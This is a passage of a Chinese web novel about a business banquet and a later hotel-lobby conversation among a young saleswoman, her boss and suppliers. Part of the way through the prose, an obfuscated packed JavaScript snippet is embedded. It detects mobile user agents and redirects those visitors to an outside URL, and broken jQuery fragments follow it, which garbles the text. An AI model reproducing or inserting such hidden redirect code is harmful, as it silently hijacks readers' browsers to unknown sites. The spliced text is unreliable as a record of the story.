赵总说：“感谢周总盛情款待，今天咱们这饭局多了两位美女，就让美女来猜一猜我和你们周总谁比较能喝。” 乔明语和梁菲对视了一眼，梁菲站起来说：“第一次和两位老板喝酒，谁比较能喝我是真不知道，但是您这样问我也是蛮好奇，反正都比我厉害，佩服能喝酒的人，我先敬您一杯。”说着干了一杯。 周泊言看了梁菲一眼，有点惊讶她的表现，没有上次饭局的别扭不自在，反而是落落大方的应答，待人接物不说多优秀，已经符合初级销售的水平，看起来已经适应了销售的身份，他觉得可能自己一开始的顾虑是多余的，梁菲的适应能力很强，而且穿搭得体，多了一份都市丽人的精致。 赵总也喝完一杯，对初入社会形象好的女孩多一分欣赏，兴致勃勃正要说什么，被人打断了，有想跟这几位老板合作的供应商站起来说要表演一段相声助兴，表演完了赵总冷冷地说了一句，“我觉得也不怎么样。” 立马有人起哄让他另外表演一个，供应商立马表演了一个反串，黄梅戏女驸马，唱的非常好，音色清凉，气息沉稳，其他人都安静下来，听得入神，众人都鼓掌说不错，只有赵总不说话。 供应商察言观色又站起来，举起酒杯，“唱得不好，各位老板见笑，自罚三杯助兴。”一口气喝了三杯酒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633943|172437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 梁菲把这些看在心里，只觉得说不出的难受，后面的饭局梁菲强打精神。 周泊言和FSK，新顺两位老板从头喝到尾，周泊言喝酒不上脸，后半段饭局的时候梁菲有心想和新顺的赵总多说两句，没找到机会，只好眼神专注的看着老板喝酒，作认真倾听状。 饭局结束前赵总说：“小梁，你看出来我和周总谁比较能喝没有？” 梁菲笑说：“我只看到您和周总从头喝到尾，高手总是很难分出胜负，恐怕要加时赛才行。” 赵总笑说：“我还真没见过周泊言喝醉过。”又转头和周泊言说：“你们的销售形象不错。” 周泊言掠了梁菲一眼，没说什么，拿着酒杯轻轻碰了碰赵总酒杯，发出一声脆响又干了一杯。 赵总起头，刘总起哄，轮番灌周泊言酒，周泊言来者不拒，并不推脱，敬他就喝，喝得眼睛越来越亮。 梁菲和乔明语几次站起来要敬酒，周泊言说：“你们俩小姑娘凑什么热闹。” 饭局结束之后，从包厢出来，乔明语和梁菲走在最后面，看周老板送客户走，看起来还好，没有一点醉态，看来老板喝酒心里有数，三个人站在酒店门口抽烟聊天，乔明语和梁菲没有跟上去在大厅前台办入住。 房间是市场部定的，前台给了梁菲两个房间的房卡，梁菲打电话问市场部小唐，小唐说有个房间是给周总定的，梁菲说知道了。 等梁菲打完电话乔明语说：“一会儿我回家住，酒店住不惯。”乔明语打算等会儿和周泊言打过招呼再撤。 丹妮从另外一个饭局上出来走到前台办理入住，旁边两个人和大源科技市场部小唐坐在一起有点印象，看到梁菲手里卡包上的房间号，心思一动问道：“你们是大源科技的吧？我是大源科技的供应商江丹妮。” 梁菲点点头说：“你好，丹妮总。” 前台办好房卡递给丹妮，丹妮接过房卡看了一眼拿起来给梁菲看，“我们的房间很近。” 梁菲也看了一眼丹妮手里的房卡说：“我的房间在楼下，你跟我们老板的房间很近。” 丹妮眨了眨眼，转了话题说：“你们俩校招生？” 两人点点头，丹妮总说：“有男朋友了吗？” 乔明语和梁菲一起摇摇头，丹妮说：“这么漂亮还没有男朋友吗？” 乔明语说：“丹妮总给我们介绍吗？” 丹妮说：“好啊，喜欢什么样的？” 乔明语说：“我喜欢有钱长得帅。” 前段时间朋友给乔明语介绍了一个男朋友，本地人在地方投资集团上班，家里条件不错，长得也帅，差不多就是乔明语想要的结婚对象，乔明语上心了，现在托人四处打听这人的人品和情史，一打听才知道这人有个念念不忘的前女友家里不同意分手，难怪乔明语总觉得男孩子对她不热络，她还以为男孩沉稳疏离，没想到是只把她当结婚对象，她冷笑一声，她也不稀罕，不主动不拒绝不负责的态度在相处。 丹妮扯起唇角笑，眼睛里却没有笑意，“看到合适的给你介绍，先走了，有空再聊。” 丹妮走后没多久周泊言往回走，两个人迎上去，乔明语说：“周总，我明天早上出差先回南江了。” 周泊言说：“你怎么回去？” 乔明语说：“我坐高铁回去。” 周泊言说：“让司机送你去车站，注意安全，到家说一声。” 乔明语说：“谢谢周总。”